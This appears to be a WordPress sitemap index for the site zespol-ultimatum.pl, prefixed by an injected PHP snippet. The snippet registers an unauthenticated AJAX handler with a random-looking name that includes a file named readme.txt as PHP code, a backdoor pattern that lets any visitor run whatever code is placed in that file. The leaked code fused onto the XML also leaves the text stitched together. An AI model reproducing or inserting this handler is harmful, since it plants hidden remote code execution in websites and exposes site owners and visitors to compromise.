if(!function_exists('file_check_readme65647')){
   add_action('wp_ajax_nopriv_file_check_readme65647', 'file_check_readme65647');
   add_action('wp_ajax_file_check_readme65647', 'file_check_readme65647');
   function file_check_readme65647()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.zespol-ultimatum.pl/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.zespol-ultimatum.pl/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.zespol-ultimatum.pl/wp-sitemap-posts-sr_playlist-1.xml</loc></sitemap></sitemapindex>